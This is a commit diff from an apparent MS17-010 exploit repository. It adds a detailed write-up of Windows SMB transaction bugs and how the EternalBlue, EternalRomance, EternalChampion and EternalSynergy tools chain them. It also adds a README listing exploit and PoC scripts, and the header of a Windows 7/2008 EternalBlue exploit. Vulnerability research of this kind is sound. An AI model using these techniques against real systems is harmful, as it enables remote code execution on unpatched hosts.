Initial upload
This commit is contained in:
432
BUG.txt
Normal file
432
BUG.txt
Normal file
@@ -0,0 +1,432 @@
|
|||||||
|
===============
|
||||||
|
SMB Transaction
|
||||||
|
===============
|
||||||
|
To understand the bugs, we need to understand SMB transaction because most bugs in MS17-010 are related to transation.
|
||||||
|
I try to make it short.
|
||||||
|
|
||||||
|
SMB message structure is well documented in https://msdn.microsoft.com/en-us/library/ee441702.aspx. We might need it
|
||||||
|
for reference.
|
||||||
|
|
||||||
|
As documented in https://msdn.microsoft.com/en-us/library/ee441466.aspx, there are 6 SMB commands for transaction subprotocol.
|
||||||
|
If a transaction message is larger than SMB message (determined by MaxBufferSize in session parameter), a client
|
||||||
|
MUST use one or more SMB_COM_*TRANSACT*_SECONDARY command (with same TID, UID, PID and MID in SMB header) to send
|
||||||
|
transaction message that did not fit in the initial message.
|
||||||
|
|
||||||
|
Each SMB transaction command has subcommand codes. There are 3 group of transaction subcommand as documented in
|
||||||
|
https://msdn.microsoft.com/en-us/library/ee441514.aspx (because SMB_COM_*TRANSACT*_SECONDARY comamnds are needed to
|
||||||
|
send a large transaction message).
|
||||||
|
|
||||||
|
Now, we go through some implementaion detail on Windows SMB transaction.
|
||||||
|
- A TRANSACTION struct and transaction data buffer are always allocated in 1 buffer. In memory, a TRANSACTION struct
|
||||||
|
is always followed by data buffer as shown below.
|
||||||
|
+-----------------+--------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+-----------------+--------------------------------------------+
|
||||||
|
|
||||||
|
- A transaction buffer is paged pool buffer.
|
||||||
|
- There is lookaside for transaction buffer which size is 0x5000.
|
||||||
|
- if size <=0x5000, use lookaside
|
||||||
|
- all buffer size will be 0x5000 (even required buffer size is only 0x100)
|
||||||
|
- if size >0x5000, directly allocate from paged pool
|
||||||
|
- if transaction command is SMB_COM_TRANSACTION and SetupCount is 0, directly allocate from paged pool
|
||||||
|
|
||||||
|
- TRANSACTION important struct member
|
||||||
|
- InSetup : The pointer to received setup in transaction data buffer.
|
||||||
|
- OutSetup : The pointer to reply setup (is set when all transaction data is received and NOT in transaction data buffer).
|
||||||
|
- InParameter : The pointer to received parameter in transaction data buffer.
|
||||||
|
- OutParameter : The pointer to reply parameter in transaction data buffer.
|
||||||
|
- InData : The pointer to received data in transaction data buffer.
|
||||||
|
- OutData : The pointer to reply data in transaction data buffer.
|
||||||
|
- SetupCount : The number of setup words that are included in the transaction request.
|
||||||
|
This one determines InSetup buffer size.
|
||||||
|
- MaxSetupCount : Maximum number of setup bytes that the client will accept in the transaction reply.
|
||||||
|
This one determines OutSetup buffer size.
|
||||||
|
- ParameterCount : The current number of received parameter bytes or the number of parameter to be sent in reply.
|
||||||
|
- TotalParameterCount : The total number of parameter bytes to be sent in this transaction request.
|
||||||
|
This one determines InParameter buffer size.
|
||||||
|
- MaxParameterCount : The maximum number of parameter bytes that the client will accept in the transaction reply.
|
||||||
|
This one determines OutParameter buffer size.
|
||||||
|
- DataCount : The current number of received data bytes or the number of data to be sent in reply.
|
||||||
|
- TotalDataCount : The total number of data bytes to be sent in this transaction request.
|
||||||
|
This one determines InData buffer size.
|
||||||
|
- MaxDataCount : The maximum number of data bytes that the client will accept in the transaction reply.
|
||||||
|
This one determines OutData buffer size.
|
||||||
|
- Function : The NT transaction subcommand code.
|
||||||
|
- Tid : The transaction Tid.
|
||||||
|
- Pid : The transaction Pid.
|
||||||
|
- Uid : The transaction Uid.
|
||||||
|
- Mid/Fid : The transaction Mid.
|
||||||
|
- AllDataReceived : The boolean which set to 1 when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount).
|
||||||
|
|
||||||
|
- There are 3 memory layout for InParameter, OutParameter, InData, OutData buffer in transaction data buffer.
|
||||||
|
- memory layout for SMB_COM_TRANSACTION except TRANS_MAILSLOT_WRITE and "TRANS with zero SetupCount" is shown below.
|
||||||
|
In* and Out* buffers are overlapped.
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| InSetup | InParamter | InData | |
|
||||||
|
+-----------------------------------------------------+
|
||||||
|
| OutParameter | OutData |
|
||||||
|
+-----------------------------------------------------+
|
||||||
|
- memory layout for SMB_COM_TRANSACTION2 and exception case from above SMB_COM_TRANSACTION is shown below.
|
||||||
|
All buffers are not overlapped.
|
||||||
|
+---------------+------------------------------------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+------------------------------------------------------------------------------+
|
||||||
|
| InSetup | InParamter | InData | OutParameter | OutData |
|
||||||
|
+------------------------------------------------------------------------------+
|
||||||
|
- memory layout for SMB_COM_NT_TRANS is shown below. All buffers are not overlapped. InParameter and OutParameter are
|
||||||
|
overlapped. InData and OutData are overlapped.
|
||||||
|
+---------------+-----------------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+-----------------------------------------------------------+
|
||||||
|
| InSetup | InParamter | InData | |
|
||||||
|
+---------+----------------------+--------------------------+
|
||||||
|
| | OutParameter | | OutData |
|
||||||
|
+-----------------------------------------------------------+
|
||||||
|
|
||||||
|
- Transaction is executed when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount).
|
||||||
|
- While executing transaction, InParameter and InData pointer might be modified.
|
||||||
|
- After transaction is executed, ParameterCount and DataCount (is normally set in called transaction function) are used
|
||||||
|
for determining the reply size of OutParameter and OutData respectively.
|
||||||
|
|
||||||
|
- A transaction displacement in SMB_COM_*_SECONDARY request can be pointed to sent displacement data
|
||||||
|
- assume TotalParameterCount is 0 and TotalDataCount is 16
|
||||||
|
- first transaction request has 8 bytes of data
|
||||||
|
- secondary transaction request can have 8 bytes of data with displacement 0
|
||||||
|
- 8 bytes of data in first transaction request is overwritten
|
||||||
|
- next 8 bytes of data never be written
|
||||||
|
- For multipiece transaction (transaction that used secondary to complete transaction), a server uses
|
||||||
|
last SMB_COM_*_SECONDARY command to determine transaction type.
|
||||||
|
- if last command is SMB_COM_TRANSACTION_SECONDARY, a server executes subcommand as TRANS_*.
|
||||||
|
- if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
|
||||||
|
- if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
|
||||||
|
- A transaction is also used in SMB_COM_WRITE_ANDX command (https://msdn.microsoft.com/en-us/library/ee441954.aspx)
|
||||||
|
when WriteMode is RAW_MODE. This transaction use FID in parameters instead of MID in SMB header for
|
||||||
|
matching transaction.
|
||||||
|
|
||||||
|
That should be enough for SMB transaction. It's time to start bug details.
|
||||||
|
Below is bugs I found from MS17-010 diff.
|
||||||
|
|
||||||
|
|
||||||
|
===========
|
||||||
|
Bug1: Uninitialize transaction InData and OutData buffer
|
||||||
|
===========
|
||||||
|
A transaction data buffer is not initialized. If we send multipiece transaction request with displacement 0,
|
||||||
|
a server will use uninitialized parameter and data for input. An uninitialized input here is normally useless
|
||||||
|
because a server processes input parameter and data as untrusted data.
|
||||||
|
|
||||||
|
If we found a transaction subcommand that use part of input as output, we could use this bug for
|
||||||
|
leaking uninitialized data.
|
||||||
|
|
||||||
|
A transaction subcommand that perfect for exploiting this bug is NT_TRANSACT_RENAME. The NT_TRANSACT_RENAME
|
||||||
|
is documented as "Not implemented". But there is a code in SrvSmbNtRename() function.
|
||||||
|
|
||||||
|
Here is psuedocode for SrvSmbNtRename()
|
||||||
|
|
||||||
|
SrvSmbNtRename()
|
||||||
|
{
|
||||||
|
// ParameterCount must be >= 4
|
||||||
|
// first 2 bytes of InParameter is fid
|
||||||
|
// verify fid
|
||||||
|
// if verification failed, return error without data
|
||||||
|
// if verification success, return success without modifying OutParameter, ParameterCount, OutData, DataCount
|
||||||
|
}
|
||||||
|
|
||||||
|
But, as mentioned above, transaction InData and OutData are overlapped. Without modifying any
|
||||||
|
transaction *Parameter* and *Data*, a server returns InData (like echo).
|
||||||
|
|
||||||
|
An only REQUIREMENT for using NT_TRANSACT_RENAME command is valid fid. So we need to get fid by opening
|
||||||
|
any piped name or share first.
|
||||||
|
|
||||||
|
This bug is not helpful for exploitation because leaked info is from freed buffer. It is difficult to get
|
||||||
|
exact information because a transaction size is always >=0x5000.
|
||||||
|
|
||||||
|
Here is some useful of this bug:
|
||||||
|
- detect arch (32 or 64 bit) from leak pointer
|
||||||
|
- might contain important data
|
||||||
|
|
||||||
|
The PoC filename for this bug is infoleak_uninit.py
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this bug is not used in NSA leak tools.
|
||||||
|
- because the fix only set zero to InParameter and InData buffer, it is still possible to do information disclosure
|
||||||
|
from OutParameter and OutData. May17 security patches fix information disclosure from OutParameter and OutData in
|
||||||
|
various function (no zero the whole OutParameter and OutData buffer).
|
||||||
|
- May17 security patches modify SrvSmbNtRename() to return an error.
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug2: Transaction reply data size might be larger than allocated buffer size
|
||||||
|
===============
|
||||||
|
SrvCompleteExecuteTransaction() function is used for sending transaction reply to a client. But it has no check if
|
||||||
|
ParameterCount/DataCount is larger than MaxParameterCount/MaxDataCount. SrvCompleteExecuteTransaction() might
|
||||||
|
copy reply data from outside of buffer (OOB read) to client. This can lead to information disclosure.
|
||||||
|
|
||||||
|
To exploit the bug, we send a SMB_COM_TRANSACTION commannd with MaxParameterCount to very large value and MaxDataCount to 1.
|
||||||
|
If a transaction reply data size (DataCount) is more than MaxDataCount, SrvCompleteExecuteTransaction() will send
|
||||||
|
OutData and data next to OutData buffer to a client. The transaction buffer should look like below.
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| InSetup | InParamter | InData | |
|
||||||
|
+-----------------------------------------------------+------------+
|
||||||
|
| OutParameter |OutData| OOB read |
|
||||||
|
+-----------------------------------------------------+------------+
|
||||||
|
|
||||||
|
The NSA eternalromance use TRANS_PEEK_NMPIPE subcommand (https://msdn.microsoft.com/en-us/library/ee441845.aspx) to
|
||||||
|
exploit this bug. The PoC filename is eternalromance_leak.py.
|
||||||
|
|
||||||
|
The bug is fixed in Windows 8 (since release) and later. MS17-010 add the same code as Windows 8 to fix this bug on Windows<8.
|
||||||
|
|
||||||
|
NSA eternalromance relies on this bug to leak TRANSACTION struct. So NSA eternalromance cannot exploit Windows 8 and later.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug3: Transaction ParameterCount/DataCount might be greater than TotalParameterCount/TotalDataCount
|
||||||
|
===============
|
||||||
|
When sending SMB_COM_*_SECONDARY command, a server checks a displacement value and a size of data to not write outside of
|
||||||
|
allocated buffer. But there is no check if total received ParameterCount/DataCount is greater than
|
||||||
|
TotalParameterCount/TotalDataCount.
|
||||||
|
|
||||||
|
For example:
|
||||||
|
- a transaction with TotalDataCount=0x20
|
||||||
|
- first request, send 0x18 bytes of data (DataCount=0x18)
|
||||||
|
- next request, send 0x10 bytes of data (DataCount=0x28)
|
||||||
|
|
||||||
|
Normally, this bug is not useful for exploitation. But it can be used with Bug4 (below).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug4: Transaction secondary request is accepted and processed after transaction execution is started
|
||||||
|
===============
|
||||||
|
If we send a transaction secondary request to a transaction that AllDataReceived member has already been set, a server will
|
||||||
|
send back an error without processing the request.
|
||||||
|
|
||||||
|
For multipiece transaction, AllDataReceived is set (in SrvSmbTransactionSecondary()/SrvSmbNtTransactionSecondary()) before
|
||||||
|
executing transaction. But AllDataReceived is NOT set (in SrvSmbTransaction()/SrvSmbNtTransaction()) when transaction is
|
||||||
|
completed in 1 SMB message. This allow us to send a transaction secondary request to modify InParamter/InData buffer and
|
||||||
|
ParameterCount/DataCount while server is executing a transaction or sending a reply.
|
||||||
|
|
||||||
|
|
||||||
|
First case to exploit this bug is sending a transaction secondary request while a server is sending a reply. The result is
|
||||||
|
a server replies data outside of OutData buffer (similar to Bug2). But this method seems to be race condition that diffcult to win.
|
||||||
|
NSA eternalchampion and eternalsynergy use very nice trick to always win this race condition.
|
||||||
|
|
||||||
|
When doing SMB login, we send SMB_COM_SESSION_SETUP_ANDX (https://msdn.microsoft.com/en-us/library/ee442101.aspx) request to
|
||||||
|
a server. The request contains MaxBufferSize field (https://msdn.microsoft.com/en-us/library/ee441849.aspx) which is
|
||||||
|
the maximum size, in bytes, of the largest SMB message that the client can receive.
|
||||||
|
|
||||||
|
If a transaction reply size is larger than MaxBufferSize, a server will send multiple transaction replies to a client. To resume
|
||||||
|
sending next transaction reply, a server add work queue to call RestartTransactionResponse() function. Moreover,
|
||||||
|
RestartTransactionResponse() has no check about MaxParameterCount and MaxDataCount.
|
||||||
|
|
||||||
|
With above information, the NSA exploit sends SMB_COM_SESSION_SETUP_ANDX (login) with specific MaxBufferSize. Then, the exploit
|
||||||
|
creates one complete NT_TRANS_RENAME request which response size is larger than MaxBufferSize and one NT_TRANS_RENAME
|
||||||
|
secondary request, with a number of data is a number of byte to leak. Finally, the exploit sends these 2 requests in 1 TCP packet.
|
||||||
|
|
||||||
|
After a server sends first part of transaction reply, a server queue a call to RestartTransactionResponse() after NT_TRANS_RENAME
|
||||||
|
secondary request. The transaction DataCount is increased when processing the NT_TRANS_RENAME secondary request (this works
|
||||||
|
because of Bug3). Then, the server sends second part of transaction reply with data outside of OutData buffer.
|
||||||
|
|
||||||
|
We can see PoC for leaking information with this bug in eternalchampion_leak.py and eternalsynergy_leak.py. I do not know why
|
||||||
|
both exploits use different parameters.
|
||||||
|
|
||||||
|
|
||||||
|
Another case to exploit this bug is sending a transaction secondary request while a server is executing a transaction. This case
|
||||||
|
is very difficult to find a exploit path and requires to win a race (champion). The NSA eternalchampion uses
|
||||||
|
TRANS2_QUERY_PATH_INFORMATION subcommand (https://msdn.microsoft.com/en-us/library/ee441634.aspx) with
|
||||||
|
SMB_INFO_IS_NAME_VALID query information level (https://msdn.microsoft.com/en-us/library/ff470079.aspx).
|
||||||
|
|
||||||
|
In SrvSmbQueryPathInformation() function with SMB_INFO_IS_NAME_VALID information level, the transaction InData pointer is
|
||||||
|
modified to point to UNICODE_STRING struct allocated on stack. After modified InData pointer, if a server processes a transaction
|
||||||
|
secondary request before executing transaction is finished, the stack data (saved eip/rip) will be overwritten with certain offset
|
||||||
|
by data and dataDisplacement in transaction secondary. Because offset in stack is always fixed, NSA eternalchampion has no
|
||||||
|
chance to crash a target.
|
||||||
|
|
||||||
|
The PoC filename for this bug is eternalchampion_poc.py
|
||||||
|
|
||||||
|
Note: I found the same fix for this bug in SrvSmbWriteAndX() too
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug5: Transaction secondary can be used with any transaction type
|
||||||
|
===============
|
||||||
|
Normally SMB_COM_TRANSACTION command must be followed by SMB_COM_TRANSACTION_SECONDARY command, SMB_COM_TRANSACTION2 command must be
|
||||||
|
followed by SMB_COM_TRANSACTION2_SECONDARY command and SMB_COM_NT_TRANS command must be followed by SMB_COM_NT_TRANS_SECONDARY
|
||||||
|
command if transaction data in first SMB message is not complete. But a server has no check. So we can send any transaction
|
||||||
|
secondary command (which matches TID, UID, PID and MID) to complete a transaction.
|
||||||
|
|
||||||
|
Do not forget that a server uses last SMB_COM_*_SECONDARY command to determine transaction type. So we can turn any transaction type
|
||||||
|
to be SMB_COM_TRANSACTION or SMB_COM_TRANSACTION2. We cannot turn non SMB_COM_NT_TRANS to SMB_COM_NT_TRANS because SMB_COM_NT_TRANS
|
||||||
|
uses Function to determine transaction subcommand.
|
||||||
|
|
||||||
|
This bug is used in NSA eternalblue exploit for sending large transaction data (>=0x10000 bytes) for TRANS2_OPEN2. Because only
|
||||||
|
SMB_COM_NT_TRANS request use 4 bytes for TotalDataCount field (other use 2 bytes), the exploit have to start a transaction with
|
||||||
|
SMB_COM_NT_TRANS command then following the SMB_COM_TRANSACTION2_SECONDARY command.
|
||||||
|
You can see an example usage in eternalblue_poc.py.
|
||||||
|
|
||||||
|
As I mentioned in introduction section, a transaction is also used in SMB_COM_WRITE_ANDX command when WriteMode is RAW_MODE.
|
||||||
|
This is very interesting case because SrvSmbWriteAndX() writes data to transacation with below code.
|
||||||
|
|
||||||
|
memmove(transaction->Indata, request->data, request->dataLength);
|
||||||
|
transaction->InData += request->dataLength; // shift InData pointer
|
||||||
|
transaction->DataCount += request->dataLength;
|
||||||
|
|
||||||
|
Notice that SrvSmbWriteAndX() shifts InData pointer when writing data, while transaction secondary uses dataDisplacement to set
|
||||||
|
where to write a data in InData buffer (without moving InData).
|
||||||
|
|
||||||
|
Assume we start a transaction with TotalDataSize=0x2000 with MID value same as FID of open named pipe. The memory layout look
|
||||||
|
like below (I omit OutParameter and OutData because they are not related).
|
||||||
|
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| InSetup | InParamter | InData |
|
||||||
|
+-----------------------------------------------------+
|
||||||
|
|
||||||
|
Then, we send a SMB_COM_WRITE_ANDX command with WriteMode=RAW_MODE and 0x100 bytes of data.
|
||||||
|
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| TRANSACTION | transaction data buffer |
|
||||||
|
+---------------+-----------------------------------------------------+
|
||||||
|
| InSetup | InParamter | | InData |
|
||||||
|
+-----------------------------------------------------+
|
||||||
|
|
||||||
|
Then, writing outside transaction data buffer is possible if we send a transaction secondary command with dataDisplacement=0x1f??.
|
||||||
|
|
||||||
|
This OOB write is very good for exploitation however SMB_COM_WRITE_ANDX command with RAW_MODE write requires a valid named pipe fid.
|
||||||
|
Since Windows Vista, the default Windows configuration without additional service does not allow an anonymous logon (NULL session)
|
||||||
|
to access any named pipe.
|
||||||
|
|
||||||
|
You can see PoC in eternalromance_poc.py
|
||||||
|
|
||||||
|
Note: NSA eternalromance and eternalsynergy use this bug for OOB write. Eternalromance uses Bug2 for leaking transaction struct
|
||||||
|
(which is limited to Windows<8) but eternalsynergy uses Bug4 for leaking transaction struct and some trick to find
|
||||||
|
a NonPagedPoolExecute page (I do not check how exploit exactly work) in Windows 8 and Windows 2012.
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug6: Wrong type assigment in SrvOs2FeaListSizeToNt()
|
||||||
|
===============
|
||||||
|
The FEA (Full Extended Attribute), https://msdn.microsoft.com/en-us/library/ee915515.aspx, is used in SMB_COM_TRANSACTION2 subcommands.
|
||||||
|
Normally we need to send FEA_LIST (https://msdn.microsoft.com/en-us/library/ff359296.aspx) in SMB_COM_TRANSACTION2 subcommands request.
|
||||||
|
When processing SMB_COM_TRANSACTION2 subcommands request wth FEA_LIST, Windows need to convert FEA_LIST to a list of
|
||||||
|
FILE_FULL_EA_INFORMATION (https://msdn.microsoft.com/en-us/library/cc232069.aspx).
|
||||||
|
|
||||||
|
There is a bug while converting FEA_LIST to FILE_FULL_EA_INFORMATION if FEA_LIST.SizeOfListInBytes is >=0x10000. The SrvOs2FeaListToNt()
|
||||||
|
is used for converting which has following psuedocode.
|
||||||
|
|
||||||
|
SrvOs2FeaListToNt()
|
||||||
|
{
|
||||||
|
outputLen = SrvOs2FeaListSizeToNt(feaList);
|
||||||
|
output = SrvAllocateNonPagedPool(outputLen);
|
||||||
|
// start copy all FEA data to output in a list of FILE_FULL_EA_INFORMATION format
|
||||||
|
}
|
||||||
|
|
||||||
|
SrvOs2FeaListSizeToNt(feaList)
|
||||||
|
{
|
||||||
|
outputLen = 0;
|
||||||
|
foreach (fea in feaList) {
|
||||||
|
if (IsFeaDataOutOfBound(fea, feaList)) {
|
||||||
|
// shrink feaList.SizeOfListInBytes to only valid fea so copy step does not need to check again.
|
||||||
|
// feaList.SizeOfListInBytes is DWORD but it is cast to WORD so HIDWORD is not modified.
|
||||||
|
(WORD) feaList.SizeOfListInBytes = Pos(fea) - Pos(feaList);
|
||||||
|
return outputLen;
|
||||||
|
}
|
||||||
|
outputLen += GetNtLengthForFea(fea);
|
||||||
|
}
|
||||||
|
return outputLen;
|
||||||
|
}
|
||||||
|
|
||||||
|
From pseudocode above, if we send feaList.SizeOfListInBytes=0x10000 while valid FEA entries in list is less than
|
||||||
|
0x10000 bytes (assume 0x4000), the feaList.SizeOfListInBytes will be 0x14000 because HIDWORD is not modified and
|
||||||
|
outputLen is only for FEA entries size 0x4000. Then the output buffer will be overflown while copy FEA data to
|
||||||
|
output buffer.
|
||||||
|
|
||||||
|
As mentioned above, we need to send a transaction data that larger than 0x10000 bytes. But the FEA_LIST data is used
|
||||||
|
only in SMB_COM_TRANSACTION2 which TotalDataCount is USHORT (max is 0xffff). So we need to Bug5 to send a FEA_LIST
|
||||||
|
data that larger than 0x10000.
|
||||||
|
|
||||||
|
The exploit path that required minimum condition is TRANS2_OPEN2 subcommand. The SrvSmbOpen2() calls SrvOs2FeaListToNt()
|
||||||
|
for converting FEA_LIST before any permission checking. So a client just need to access any share (IPC$ is best choice)
|
||||||
|
and able to send SMB_COM_NT_TRANS and SMB_COM_TRANSACTION2_SECONDARY commands.
|
||||||
|
|
||||||
|
Above exploitation requirements are good for Windows<8 because Windows<8 always allow anonymous (NULL session) to
|
||||||
|
access IPC$ and send transaction commands. However, Windows>=8 does not allow anonymous to access IPC$ by default
|
||||||
|
(IPC$ might be acessible but cannot send a transaction command).
|
||||||
|
|
||||||
|
You can see PoC in eternalblue_poc.py
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug7: Wrong type assigment in SrvOs2GeaListSizeToNt()
|
||||||
|
===============
|
||||||
|
The bug is same as Bug6 in different function but all exploit path requires valid fid.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
===============
|
||||||
|
Bug8: SESSION_SETUP_AND_X request format confusion
|
||||||
|
===============
|
||||||
|
This bug is not fixed in MS17-010. I put it here because NSA leak tools use it for exploitation. The bug itself
|
||||||
|
can only fool a server to allocate a large nonpaged pool (<0x20000) for storing small client information.
|
||||||
|
|
||||||
|
There are 2 format of SMB_COM_SESSION_SETUP_ANDX request for "NT LM 0.12" dialect. The first format is documented
|
||||||
|
in https://msdn.microsoft.com/en-us/library/ee441849.aspx. It is used for LM and NTLM authentication. Another format
|
||||||
|
is documented in https://msdn.microsoft.com/en-us/library/cc246328.aspx. It is used for NTLMv2 (NTLM SSP) authentication.
|
||||||
|
We noted that these 2 foramts have different WordCount (first one is 13 and later is 12).
|
||||||
|
|
||||||
|
The SMB_COM_SESSION_SETUP_ANDX request is handled by BlockingSessionSetupAndX() function. Below is psuedocode for hanlding
|
||||||
|
both request format (only related part).
|
||||||
|
|
||||||
|
BlockingSessionSetupAndX()
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
|
||||||
|
// check word count
|
||||||
|
if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capablilities & CAP_EXTENDED_SECURITY))) ) {
|
||||||
|
// error and return
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...
|
||||||
|
|
||||||
|
if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) {
|
||||||
|
// this request is Extend Security request
|
||||||
|
GetExtendSecurityParameters(); // extract parameters and data to variables
|
||||||
|
SrvValidateSecurityBuffer(); // do authentication
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// this request is NT Security request
|
||||||
|
GetNtSecurityParameters(); // extract parameters and data to variables
|
||||||
|
SrvValidateUser(); // do authentication
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
|
||||||
|
From psuedocode above, if we send SMB_COM_SESSION_SETUP_ANDX request as Extended Security (WordCount 12) with
|
||||||
|
CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY, the request will be processed as NT Security request (WordCount 13).
|
||||||
|
We can also send the request as NT Security request (WordCount 13) with CAP_EXTENDED_SECURITY and FLAGS2_EXTENDED_SECURITY.
|
||||||
|
But later case is no use because there is an extra check of ByteCount value in GetExtendSecurityParameters() function.
|
||||||
|
|
||||||
|
Normally a server validates WordCount and ByteCount field in SrvValidateSmb() function before passing a request to
|
||||||
|
request handler. The WordCount*2 and ByteCount must not be larger than received data size. With the confusing bug, a server
|
||||||
|
read ByteCount from wrong offset while extracting parameters and data to variables.
|
||||||
|
|
||||||
|
The bug does not cause any memory corruption or information disclosure because ByteCount value is only used for calculating
|
||||||
|
buffer size for storing NativeOS and NativeLanMan unicode string (UTF16). The NativeOS and NativeLanMan size is caculated from
|
||||||
|
"ByteCount - other_data_size". The buffer for NativeOS and NativeLanMan unicode string is allocated on nonpaged pool.
|
||||||
|
|
||||||
|
NSA eternalchampion uses this bug to set UNICODE_STRING.MaximumLength to 0x15ff and place staging shellcode in buffer because
|
||||||
|
nonpaged pool is executable on Windows<8.
|
||||||
|
Note: On x86, 'ff15????????' is 'call [????????]' instruction. On x64, 'ff1500000000' is 'call [rip+0]'.
|
||||||
|
|
||||||
|
NSA eternalblue uses this bug to creating hole because we can control when to allocate and free the buffer.
|
||||||
|
|
||||||
|
The PoC filename for this bug is npp_control.py and the example usages of this bug is eternalblue_exploit.py and eternalchampion_poc2.py
|
||||||
|
|
||||||
|
Note: This mothod cannot use for user authentication if NTLM authentication is disabled
|
||||||
19
README.md
19
README.md
@@ -1,2 +1,17 @@
|
|||||||
# MS17-010
|
# Files
|
||||||
MS17-010
|
|
||||||
|
* **BUG.txt** MS17-010 bug detail and some analysis
|
||||||
|
* **eternalblue_exploit7.py** Eternalblue exploit for windows 7/2008
|
||||||
|
* **eternalblue_exploit8.py** Eternalblue exploit for windows 8/2012 x64
|
||||||
|
* **eternalblue_poc** Eternalblue PoC for buffer overflow bug
|
||||||
|
* **eternalchampion_leak.py** Eternalchampion PoC for leaking info part
|
||||||
|
* **eternalchampion_poc.py** Eternalchampion PoC for controlling RIP
|
||||||
|
* **eternalchampion_poc2.py** Eternalchampion PoC for getting code execution
|
||||||
|
* **eternalromance_leak.py** Eternalromance PoC for leaking info part
|
||||||
|
* **eternalromance_poc.py** Eternalromance PoC for OOB write
|
||||||
|
* **eternalromance_poc2.py** Eternalromance PoC for controlling transaction which leads to arbitrary read/write
|
||||||
|
* **eternalsynergy_leak.py** Eternalsynergy PoC for leaking info part
|
||||||
|
* **infoleak_uninit.py** PoC for leaking info from uninitialized transaction data buffer
|
||||||
|
* **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs
|
||||||
|
* **npp_control.py** PoC for controlling nonpaged pool allocation with session setup command
|
||||||
|
* **zzz_exploit.py** Exploit for Windows7 and later (x64 only and requires accessing to named pipe)
|
||||||
|
|||||||
583
eternalblue_exploit7.py
Normal file
583
eternalblue_exploit7.py
Normal file
@@ -0,0 +1,583 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
|
||||||
|
'''
|
||||||
|
EternalBlue exploit for Windows 7/2008 by sleepya
|
||||||
|
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
|
||||||
|
|
||||||
|
Tested on:
|
||||||
|
- Windows 7 SP1 x64
|
||||||
|
- Windows 2008 R2 SP1 x64
|
||||||
|
- Windows 7 SP1 x86
|
||||||
|
- Windows 2008 SP1 x86
|
||||||
|
|
||||||
|
Reference:
|
||||||
|
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||||
|
|
||||||
|
|
||||||
|
Bug detail:
|
||||||
|
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||||
|
- For other bugs defailt, see BUG.txt
|
||||||
|
- Here is related struct info.
|
||||||
|
#####
|
||||||
|
typedef struct _FEA { /* fea */
|
||||||
|
BYTE fEA; /* flags */
|
||||||
|
BYTE cbName; /* name length not including NULL */
|
||||||
|
USHORT cbValue; /* value length */
|
||||||
|
} FEA, *PFEA;
|
||||||
|
|
||||||
|
typedef struct _FEALIST { /* feal */
|
||||||
|
DWORD cbList; /* total bytes of structure including full list */
|
||||||
|
FEA list[1]; /* variable length FEA structures */
|
||||||
|
} FEALIST, *PFEALIST;
|
||||||
|
|
||||||
|
typedef struct _FILE_FULL_EA_INFORMATION {
|
||||||
|
ULONG NextEntryOffset;
|
||||||
|
UCHAR Flags;
|
||||||
|
UCHAR EaNameLength;
|
||||||
|
USHORT EaValueLength;
|
||||||
|
CHAR EaName[1];
|
||||||
|
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
|
||||||
|
|
||||||
|
- The exploit also use other 2 bugs
|
||||||
|
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
|
||||||
|
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
|
||||||
|
######
|
||||||
|
|
||||||
|
|
||||||
|
Exploit info:
|
||||||
|
- I do not reverse engineer any x86 binary so I do not know about exact offset.
|
||||||
|
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
|
||||||
|
This memory page is executable on Windows 7 and Wndows 2008.
|
||||||
|
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
|
||||||
|
- The exploit trick is same as NSA exploit
|
||||||
|
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
|
||||||
|
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
|
||||||
|
- See the code and comment for exploit detail.
|
||||||
|
|
||||||
|
|
||||||
